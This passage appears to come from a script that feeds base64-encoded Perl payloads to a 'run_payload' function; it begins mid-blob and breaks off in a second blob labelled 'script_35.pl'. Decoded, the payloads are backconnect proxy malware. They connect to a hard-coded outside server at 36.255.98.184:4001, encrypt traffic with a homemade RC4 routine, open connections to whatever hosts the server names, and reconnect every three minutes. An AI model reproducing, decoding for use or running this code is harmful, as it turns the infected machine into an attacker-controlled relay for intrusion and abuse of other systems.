MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAoJCQkJICRjb3VudGNjKys7CgkJCSB9CgkJIH0KCQkgCgkJIGlmICgkY291bnRjYyA+IDApIHsKCQkJIAoJCQkgdW5sZXNzIChzZWxlY3QoJHJpbiwgdW5kZWYsIHVuZGVmLCAwLjAwMSkpIHsgZ290byBuZXh0X187IH0KCQkJIAoJCQkgZm9yIChteSAkaSA9IDE7ICRpIDwgMjAwOyAkaSsrKSB7CgkJCQkgCgkJCQkgaWYgKCgkc29ja2V0YXJyYXlbJGldID09IDEpICYmIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclskaV0pLCAxKSkgewoJCQkJCSAKCQkJCQkgJGRhdGEgPSAnJzsKCgkJCQkJIHJlY3YoJHNvY2tldGFyclskaV0sICRkYXRhLCA2NTUzMCwgMCk7CgkJCQkgCgkJCQkJIHVubGVzcyAoJGRhdGEpIHsKCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGldID0gMDsKCQkJCQkgCgkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRpXSk7CgkJIAoJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGkpLiJceDAwXHgwMCI7CgkJIAoJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgc3Vic3RyKCRyZXNwb25jZSwgMCwgMyksIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgCgkJCQkJIGVsc2UgewoJCQkJCSAKCQkJCQkJICRidWZmZXIgPSBwYWNrKCdDJywgJGkpLnBhY2soJ1MnLCBsZW5ndGgoJGRhdGEpKS4kZGF0YTsKCQkJCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDAsIDMpOwoJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlciwgMywgbGVuZ3RoKCRkYXRhKSk7CgkJCQkgCgkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sICRidWZmZXIsIE1TR19OT1NJR05BTCk7CgkJCQkJIAoJCQkJCSB9CgkJCQkgfQoJCQkgfQoJCSB9CgkJIAoJCSBuZXh0X186CgkJIAoJCSBpZiAoJHJlbWFpbmluZzQgIT0gNCkgewoJCQkgCgkJCSAkcmluID0gJyc7CgkJCSAKCQkJIHZlYygkcmluLCBmaWxlbm8oJHNvY2tldGFyclswXSksIDEpID0gMTsKCQkJIAoJCQkgbXkgJHJldCA9IHNlbGVjdCgkcmluLCB1bmRlZiwgdW5kZWYsIDAuMSk7CgkJCSAKCQkJIG5leHQgaWYgKCRyZXQgPCAwKTsKCQkJIAoJCQkgaWYgKCRyZXQgPT0gMCkgewoJCQkJIAoJCQkJICRjb3VudGVyKys7CgkJCQkgCgkJCQkgaWYgKCRjb3VudGVyID09IDEwICogNjApIHsKCQkJCQkgCgkJCQkJICRjb3VudGVyID0gMDsKCgkJCQkJIGxhc3QgaWYgKHN1YnN0cigkYnVmZmVybnVsbCwgMCwgMykgbmUgIlx4MDBceDAwXHgwMCIpOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nICE9IDApOwoJCQkJIAoJCQkJCSBsYXN0IGlmICgkcmVtYWluaW5nNCAhPSAwKTsKCQkJCSAKCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVybnVsbCwgMCwgMyk7CgkJCQkgCgkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJGJ1ZmZlcm51bGwsIE1TR19OT1NJR05BTCk7CgkJCQkgfQoJCQkJIAoJCQkJIG5leHQ7CgkJCX0KCQkJIAoJCX0KCQkgCgkJIGlmICgkcmVtYWluaW5nICE9IDAgfHwgJHJlbWFpbmluZzQgPT0gNCkgewoJCQkgCgkJCSBpZiAoJGVkeCA9PSAwKSB7CgkJCQkgCgkJCQkgaWYgKHN1YnN0cigkYnVmZmVyMCwgMCwgMSkgZXEgIlx4RkYiICYmIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkgZXEgIlx4RkUiKSB7CgkJCQkJIAoJCQkJCSAkaXNFeGl0ID0gMTsKCQkJCQkgCgkJCQkJIGxhc3Q7CgkJCQkJIAoJCQkJfQoJCQkJIAoJCQkJIGVsc2lmICgkZWJ4IDwgMjAwICYmICRlYnggPiAwICYmICRzb2NrZXRhcnJheVskZWJ4XSA9PSAxKSB7CgkJCQkgCgkJCQkJICRzb2NrZXRhcnJheVskZWJ4XSA9IDA7CgkJCQkJIAoJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpID0gcGFjaygnQycsICRlYngpLiJceDAwXHgwMCI7CgkJIAoJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMCwgMyk7CgkJIAoJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJIAoJCQkJfQoJCQkKCQkJfQoJCQkKCQkJZWxzZSB7CgkJCQkKCQkJCSAkZWN4ID0gJGVkeDsKCQkJCQoJCQkJICRlY3ggPSAkZWN4IC0gJHJlbWFpbmluZzsKCQkJCSAKCQkJCSAkZGF0YSA9ICcnOwoJCQkJIAoJCQkJIHJlY3YoJHNvY2tldGFyclswXSwgJGRhdGEsICRlY3gsIDApOwoJCQkJCgkJCQkgdW5sZXNzICgkZGF0YSkgeyBsYXN0OyB9CgkJCQkgCgkJCQkgJHJlbWFpbmluZyArPSBsZW5ndGgoJGRhdGEpOwoJCQkJIAoJCQkJICRidWZmZXIwIC49ICRkYXRhOwoJCQkJIAoJCQkJIGlmICgkZWR4ID09ICRyZW1haW5pbmcpIHsKCQkJCQkgCgkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpOwoJCQkJCSAKCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMCwgMSkpID09IDApIHsKCQkJCQkJIAoJCQkJCQkgc29ja2V0KCRzb2NrZXRhcnJbJGVieF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJCQkJCQkgCgkJCQkJCSAkX3JldDAgPSAwOwoJCQkJCQkgCgkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAxOwoJCQkJCQkgCgkJCQkJCSAkcmVzcG9uY2UgPSBwYWNrKCdDJywgJGVieCkuIlx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkJCQkJCSAKCQkJCQkJIHNldHNvY2tvcHQoJHNvY2tldGFyclskZWJ4XSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCQkJCQkJIAoJCQkJCQkgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9TRVRGTCwgZmNudGwoJHNvY2tldGFyclskZWJ4XSwgRl9HRVRGTCwgMCkgfCBPX05PTkJMT0NLKTsKCQkJCQkJIAoJCQkJCQkgaWYgKHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgNywgMSkpID09IDMpIHsKCQkJCgkJCQkJCQkgJGRvbWFpbiA9IHN1YnN0cigkYnVmZmVyMCwgOSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4LCAxKSkpOwoJCQkKCQkJCQkJCSAkcG9ydDAgPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDkgKyB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDgsIDEpKSArIDEsIDEpLnN1YnN0cigkYnVmZmVyMCwgOSArIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCwgMSkpICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2lmICh1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDcsIDEpKSA9PSAxKSB7CgkJCQoJCQkJCQkJICRkb21haW4gPSBzcHJpbnRmKCIlZC4lZC4lZC4lZCIsIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDAsIDEpKSwgdW5wYWNrKCdDJywgc3Vic3RyKCRidWZmZXIwLCA4ICsgMSwgMSkpLCB1bnBhY2soJ0MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDggKyAyLCAxKSksIHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgOCArIDMsIDEpKSk7CgkJCQoJCQkJCQkJICRwb3J0MCA9IHVucGFjaygnUycsIHN1YnN0cigkYnVmZmVyMCwgMTIgKyAxLCAxKS5zdWJzdHIoJGJ1ZmZlcjAsIDEyICsgMCwgMSkpOwoJCQkKCQkJCQkJIH0KCQkKCQkJCQkJIGVsc2UgewoJCQkKCQkJCQkJCSBnb3RvIGNsb3NlXzsKCQkJCQkJIH0KCQkJCQkJIAoJCQkJCQkgZXZhbCB7CgkJCSAKCQkJCQkJCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkcG9ydDAsIGluZXRfYXRvbigkZG9tYWluKSk7CgkJCgkJCQkJCQkgY29ubmVjdCgkc29ja2V0YXJyWyRlYnhdLCAkcGFkZHIpOwoJCSAKCQkJCQkJCSB2ZWMobXkgJHdpbiA9ICcnLCBmaWxlbm8oJHNvY2tldGFyclskZWJ4XSksIDEpID0gMTsKCgkJCQkJCQkgdW5sZXNzIChzZWxlY3QodW5kZWYsICR3aW4sIHVuZGVmLCAxKSkgeyBnb3RvIGNsb3NlXzsgfQoJCQkKCQkJCQkJCSBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX1NFVEZMLCBmY250bCgkc29ja2V0YXJyWyRlYnhdLCBGX0dFVEZMLCAwKSBeIE9fTk9OQkxPQ0spOwoJCSAKCQkJCQkJCSBzdWJzdHIoJHJlc3BvbmNlLCA0LCAxKSA9ICJceDAwIjsKCQkgCgkJCQkJCQkgJF9yZXQwID0gMTsKCQkJIAoJCQkJCQkgfTsKCQkgCgkJCQkJCSBjbG9zZV86CgkJCQkJCSAKCQkJCQkJIFJjNF9jcnlwdChcJHhvcmRhdGEsIDUwLCBcJHJlc3BvbmNlLCAwLCAzKTsKCQkgCgkJCQkJCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRyZXNwb25jZSwgMywgMTApOwoJCSAKCQkJCQkJIHNlbmQoJHNvY2tldGFyclswXSwgJHJlc3BvbmNlLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSBpZiAoJF9yZXQwID09IDApIHsKCQkJCQkJCSAKCQkJCQkJCSAkc29ja2V0YXJyYXlbJGVieF0gPSAwOwoJCSAKCQkJCQkJCSBjbG9zZSgkc29ja2V0YXJyWyRlYnhdKTsKCQkgCgkJCQkJCQkgc3Vic3RyKCRyZXNwb25jZSwgMCwgMykgPSBwYWNrKCdDJywgJGVieCkuIlx4MDBceDAwIjsKCQkgCgkJCQkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkcmVzcG9uY2UsIDAsIDMpOwoJCSAKCQkJCQkJCSBzZW5kKCRzb2NrZXRhcnJbMF0sIHN1YnN0cigkcmVzcG9uY2UsIDAsIDMpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkJIAoJCQkJCQkgfQoJCQkJCQkgCgkJCQkJfQoJCQkJCQoJCQkJCSBlbHNpZiAoJHNvY2tldGFycmF5WyRlYnhdID09IDEpIHsKCQkJCQkJIAoJCQkJCQkgc2VuZCgkc29ja2V0YXJyWyRlYnhdLCBzdWJzdHIoJGJ1ZmZlcjAsIDQsICRyZW1haW5pbmcpLCBNU0dfTk9TSUdOQUwpOwoJCQkJCQkgCgkJCQkJCSAKCQkJCQl9CgkJCQkJIAoJCQkJCSAkcmVtYWluaW5nID0gMDsKCQkJCX0KCQkJCQoJCQl9CgkJCSAKCQkJICRyZW1haW5pbmc0ID0gMDsKCQkJIAoJCX0KCQkKCQllbHNlIHsKCQkJCgkJCSBpZiAoJHJlbWFpbmluZzQgPT0gMCkgeyAkYnVmZmVyMCA9ICcnOyB9CgkJCQoJCQkgJGVheCA9IDQ7CgkJCQoJCQkgJGVheCA9ICRlYXggLSAkcmVtYWluaW5nNDsKCQkJIAoJCQkgJGRhdGEgPSAnJzsKCQkJIAoJCQkgcmVjdigkc29ja2V0YXJyWzBdLCAkZGF0YSwgJGVheCwgMCk7CgkJCSAKCQkJIHVubGVzcyAoJGRhdGEpIHsgbGFzdDsgfQoJCQkgCgkJCSAkcmVtYWluaW5nNCArPSBsZW5ndGgoJGRhdGEpOwoJCQkgCgkJCSAkYnVmZmVyMCAuPSAkZGF0YTsKCQkJIAoJCQkgJGJ1ZmZlcm51bGwgPSAiXHgwMCIgeCAzOwoJCQkgCgkJCSAkY291bnRlciA9IDA7CgkJCSAKCQkJIGlmICgkcmVtYWluaW5nNCA9PSA0KSB7CgkJCQkgCgkJCQkgUmM0X2NyeXB0KFwkeG9yZGF0YSwgNTAsIFwkYnVmZmVyMCwgMCwgNCk7CgkJCQkgCgkJCQkgJGVieCA9IHVucGFjaygnQycsIHN1YnN0cigkYnVmZmVyMCwgMSwgMSkpOwoJCQkJIAoJCQkJICRlZHggPSB1bnBhY2soJ1MnLCBzdWJzdHIoJGJ1ZmZlcjAsIDIsIDIpKTsKCQkJIAoJCQkJICRfcmV0ID0gMTsKCQkJfQoJCQkKCQl9Cgl9CgkKCSBjbG9zZTA6CgkgCgkgY2xvc2UoJHNvY2tldGFyclswXSk7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDwgMjAwOyAkaSsrKSB7CgoJCSBpZiAoJHNvY2tldGFycmF5WyRpXSA9PSAxKSB7IGNsb3NlKCRzb2NrZXRhcnJbJGldKTsgfQoJCSAKCSB9CgkgCgkgaWYgKCRpc0V4aXQgPT0gMSkgeyBleGl0OyB9CgkgCgkgcmV0dXJuICRfcmV0OwoKfQoKd2hpbGUoMSkKewoJIGJjY25jdChcJGhvc3QsIFwkcG9ydCk7CgkgCgkgc2xlZXAgMTgwOwp9"

# script_35.pl
run_payload "IyEvdXNyL2Jpbi9wZXJsCgp1c2Ugc3RyaWN0Owp1c2Ugd2FybmluZ3M7CnVzZSBJTzo6U29ja2V0Owp1c2UgSU86OlNvY2tldCBxdyhJUFBST1RPX1RDUCBUQ1BfTk9ERUxBWSk7CnVzZSBGY250bCBxdyhGX0dFVEZMIEZfU0VURkwgT19OT05CTE9DSyk7CgpteSAkaG9zdCA9ICczNi4yNTUuOTguMTg0JzsKbXkgJHBvcnQgPSA0MDAxOwoKbXkgJHhvcmRhdGEgPSAiXHgwMCIgeCA1MDsKCmZvciAobXkgJGkgPSAwOyAkaSA8IDUwOyAkaSsrKSB7IHN1YnN0cigkeG9yZGF0YSwgJGksIDEpID0gcGFjaygnQycsIHJhbmQoMjU1KSk7IH0KCnN1YiBSYzRfY3J5cHQgewoJIAoJIG15ICRwYXNzdyA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkbGVuZ3RoID0gc2hpZnQoQF8pOwoJIAoJIG15ICRidWZmMCA9IHNoaWZ0KEBfKTsKCSAKCSBteSAkc3RhcnQgPSBzaGlmdChAXyk7CgkgCgkgbXkgJHN6ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyYzQgPSAiXHgwMCIgeCAyNTY7CgkgCgkgbXkgJHBvY2tlbW9uMCA9IDA7CgkKCSBteSAkcG9ja2Vtb24xID0gMDsKCQoJIG15ICRwb2NrZW1vbjIgPSAwOwoJCgkgbXkgJHBvY2tlbW9uMyA9IDA7CgkKCSBteSAkcG9ja2Vtb240ID0gMDsKCQoJIG15ICRwb2NrZW1vbjUgPSAwOwoJCgkgbXkgJHBvY2tlbW9uNiA9IDA7CgkKCSBteSAkcG9ja2Vtb243ID0gMDsKCQoJIG15ICRwb2NrZW1vbjggPSAwOwoJIAoJIG15ICRyY3ggPSAkc3o7CgkgCgkgbXkgJHJzaSA9IDA7CgkgCgkgbXkgJHJieCA9IDA7CgkgCgkgbXkgJGdzID0gMDsKCSAKCSBteSAkdCA9IDA7CgkgCgkgZm9yIChteSAkaSA9IDA7ICRpIDw9IDI1NTsgJGkrKykgeyBzdWJzdHIoJHJjNCwgJGksIDEpID0gcGFjaygnQycsICRpKTsgfQoJIAoJIGRvIHsKCQkgCgkJIHN1YnN0cigkJGJ1ZmYwLCAkc3RhcnQgKyAkcnNpLCAxKSA9IHBhY2soJ0MnLCAodW5wYWNrKCdDJywgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpKSBeIHVucGFjaygnQycsIHN1YnN0cigkJHBhc3N3LCAkcmJ4LCAxKSkpKTsKCQkgCgkJICRyc2krKzsKCQkKCQkgJHJieCsrOwoJCQoJCSAkcmN4LS07CgkJCgkJIGlmICgkcmJ4ID09ICRsZW5ndGgpIHsKCQkJIAoJCQkgJHJieCA9IDA7CgkJfQoJCSAKCX0gd2hpbGUoJHJjeCA+IDApOwoJCgkKCSB3aGlsZSgxKSB7CgkJIAoJCSBpZiAoJGdzID09IDApIHsKCQkJIAoJCQkgJHBvY2tlbW9uMiA9IDA7CgoJCQkgJHBvY2tlbW9uMyA9ICRsZW5ndGg7CgkJfQoJCSAKCQkgaWYgKCRncyAhPSAwKSB7CgkJCSAKCQkJICRncyA9IDA7CgoJCQkgJHBvY2tlbW9uMisrOwoKCQkJIGlmICgtLSRwb2NrZW1vbjMgPT0gMCkgeyBuZXh0OyB9CgkJCSAKCQl9CgkJCgkJICRwb2NrZW1vbjcgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMCwgMSkpOwoJCSAKCQkgJHQgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRwYXNzdywgJHBvY2tlbW9uMiwgMSkpOwoKCQkgJHBvY2tlbW9uMSArPSAkdDsKCgkJICRwb2NrZW1vbjEgPSAkcG9ja2Vtb24xICYgMjU1OwoKCQkgJHBvY2tlbW9uMSArPSAkcG9ja2Vtb243OwoKCQkgJHBvY2tlbW9uMSA9ICRwb2NrZW1vbjEgJiAyNTU7CgoJCSAkcG9ja2Vtb242ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24wLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb242KTsKCQkgCgkJIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24xLCAxKSA9IHBhY2soJ0MnLCAkcG9ja2Vtb243KTsKCQkgCgkJICRwb2NrZW1vbjArKzsKCgkJICRwb2NrZW1vbjAgPSAkcG9ja2Vtb24wICYgMjU1OwoJCSAKCQkgaWYgKCRwb2NrZW1vbjAgIT0gMCkgewoJCQkgCgkJCSAkZ3MgPSAxOwoJCQkgCgkJCSBuZXh0OwoJCX0KCQkKCQkgJHBvY2tlbW9uNCA9ICRzejsKCgkJICRwb2NrZW1vbjEgPSAwOwoKCQkgJHBvY2tlbW9uMCA9IDA7CgoJCSAkcG9ja2Vtb24yID0gMDsKCgkJICRwb2NrZW1vbjMgPSAwOwoJCSAKCQkgd2hpbGUoMSkgewoJCQkgCgkJCSAkcG9ja2Vtb24yKys7CgoJCQkgJHBvY2tlbW9uMiA9ICRwb2NrZW1vbjIgJiAyNTU7CgoJCQkgJHBvY2tlbW9uNyA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb24yLCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjEgKz0gJHBvY2tlbW9uNzsKCgkJCSAkcG9ja2Vtb24xID0gJHBvY2tlbW9uMSAmIDI1NTsKCgkJCSAkcG9ja2Vtb244ID0gdW5wYWNrKCdDJywgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpKTsKCgkJCSBzdWJzdHIoJHJjNCwgJHBvY2tlbW9uMiwgMSkgPSBwYWNrKCdDJywgJHBvY2tlbW9uOCk7CgkJIAoJCQkgc3Vic3RyKCRyYzQsICRwb2NrZW1vbjEsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjcpOwoKCQkJICRwb2NrZW1vbjggKz0gJHBvY2tlbW9uNzsKCQoJCQkgJHBvY2tlbW9uOCA9ICRwb2NrZW1vbjggJiAyNTU7CgoJCQkgJHBvY2tlbW9uMCA9IHVucGFjaygnQycsIHN1YnN0cigkcmM0LCAkcG9ja2Vtb244LCAxKSk7CgkJCSAKCQkJICRwb2NrZW1vbjUgPSB1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHBvY2tlbW9uMywgMSkpOwoKCQkJICRwb2NrZW1vbjUgPSAkcG9ja2Vtb241IF4gJHBvY2tlbW9uMDsKCQkJIAoJCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRwb2NrZW1vbjMsIDEpID0gcGFjaygnQycsICRwb2NrZW1vbjUpOwoJCQkgCgkJCSAkcG9ja2Vtb24zKys7CgkJCSAKCQkJIGlmICgtLSRwb2NrZW1vbjQgPT0gMCkKCQkJIHsKCQkJCSBsYXN0OwoJCQkgfQoJCQkgCgkJfQoJCSAKCQkgbGFzdDsKCX0KCQoJICRyc2kgPSAwOwoJCgkgJHJjeCA9ICRzejsKCQoJICRyYnggPSAwOwoJCgkgZG8gewoJCSAKCQkgc3Vic3RyKCQkYnVmZjAsICRzdGFydCArICRyc2ksIDEpID0gcGFjaygnQycsICh1bnBhY2soJ0MnLCBzdWJzdHIoJCRidWZmMCwgJHN0YXJ0ICsgJHJzaSwgMSkpIF4gdW5wYWNrKCdDJywgc3Vic3RyKCQkcGFzc3csICRyYngsIDEpKSkpOwoJCSAKCQkgJHJzaSsrOwoJCQoJCSAkcmJ4Kys7CgkJCgkJICRyY3gtLTsKCQkKCQkgaWYgKCRyYnggPT0gJGxlbmd0aCkgewoJCQkgCgkJCSAkcmJ4ID0gMDsKCQl9CgkJIAoJfSB3aGlsZSgkcmN4ID4gMCk7CgkKfQoKc3ViIGJjY25jdCB7CgoJIG15ICRob3N0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRwb3J0ID0gc2hpZnQoQF8pOwoJIAoJIG15ICRyZW1haW5pbmcgPSAwOwoJIAoJIG15ICRyZW1haW5pbmc0ID0gMDsKCSAKCSBteSAkZG9tYWluOwoJIAoJIG15ICRwb3J0MDsKCSAKCSBteSBAc29ja2V0YXJyOwoJIAoJIG15IEBzb2NrZXRhcnJheTsKCSAKCSBteSAkYnVmZmVyID0gIlx4MDAiIHggMTAwOwoJIAoJIG15ICRidWZmZXJudWxsID0gIlx4MDAiIHggMzsKCSAKCSBteSAkYnVmZmVyMCA9ICcnOwoJIAoJIG15ICRpc0V4aXQgPSAwOwoJIAoJIG15ICRfcmV0MCA9IDA7CgkgCgkgbXkgJGVjeCA9IDA7CgkgCgkgbXkgJGVheCA9IDA7CgkgCgkgbXkgJGRhdGEgPSAnJzsKCSAKCSBteSAkX3JldCA9IDA7CgkgCgkgbXkgJGVieCA9IDA7CgkgCgkgbXkgJGVkeCA9IDA7CgkgCgkgbXkgJGNvdW50ZXIgPSAwOwoJIAoJIG15ICRjb3VudGNjID0gMDsKCQkgCgkgbXkgJHJpbiA9ICcnOwoJIAoJIG15ICRmbGFnczsKCSAKCSBmb3IgKG15ICRpID0gMDsgJGkgPCAyMDA7ICRpKyspIHsgJHNvY2tldGFycmF5WyRpXSA9IDA7IH0KCSAKCSBteSAkcmVzcG9uY2UgPSAiXHgwMFx4MEFceDAwXHgwNVx4MDFceDAwXHgwMVx4MDBceDAwXHgwMFx4MDBceDAwXHgwMCI7CgkgCgkgc29ja2V0KCRzb2NrZXRhcnJbMF0sIFBGX0lORVQsIFNPQ0tfU1RSRUFNLCBnZXRwcm90b2J5bmFtZSgndGNwJykpOwoJIAoJIHNldHNvY2tvcHQoJHNvY2tldGFyclswXSwgSVBQUk9UT19UQ1AsIFRDUF9OT0RFTEFZLCAxKTsKCSAKCSBteSAkcGFkZHIgPSBzb2NrYWRkcl9pbigkJHBvcnQsIGluZXRfYXRvbigkJGhvc3QpKTsKCSAKCSB1bmxlc3MoY29ubmVjdCgkc29ja2V0YXJyWzBdLCAkcGFkZHIpKSB7IGdvdG8gY2xvc2UwOyB9CgkgCgkgc3Vic3RyKCRidWZmZXIsIDAsIDUwKSA9ICR4b3JkYXRhOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1MCwgMikgPSAiXHhGRlx4RkYiOwoJIAoJIHN1YnN0cigkYnVmZmVyLCA1NCwgMTEpID0gIlBlcmwgc2NyaXB0IjsKCSAKCSBSYzRfY3J5cHQoXCR4b3JkYXRhLCA1MCwgXCRidWZmZXIsIDUwLCA1MCk7CgkgCgkgc2VuZCgkc29ja2V0YXJyWzBdLCAkYnVmZmVyLCBNU0dfTk9TSUdOQUwpOwoJIAoJIHdoaWxlKDEpIHsKCQkgCgkJICRjb3VudGNjID0gMDsKCQkgCgkJICRyaW4gPSAnJzsKCQkgCgkJIGZvciAobXkgJGkgPSAxOyAkaSA8IDIwMDsgJGkrKykgewoJCSAKCQkJIGlmICgkc29ja2V0YXJyYXlbJGldID09IDEpIHsKCQkJCSAKCQkJCSB2ZWMoJHJpbiwgZmlsZW5vKCRzb2NrZXRhcnJbJGldKSwgMSkgPSAxOwoJCQkJIAo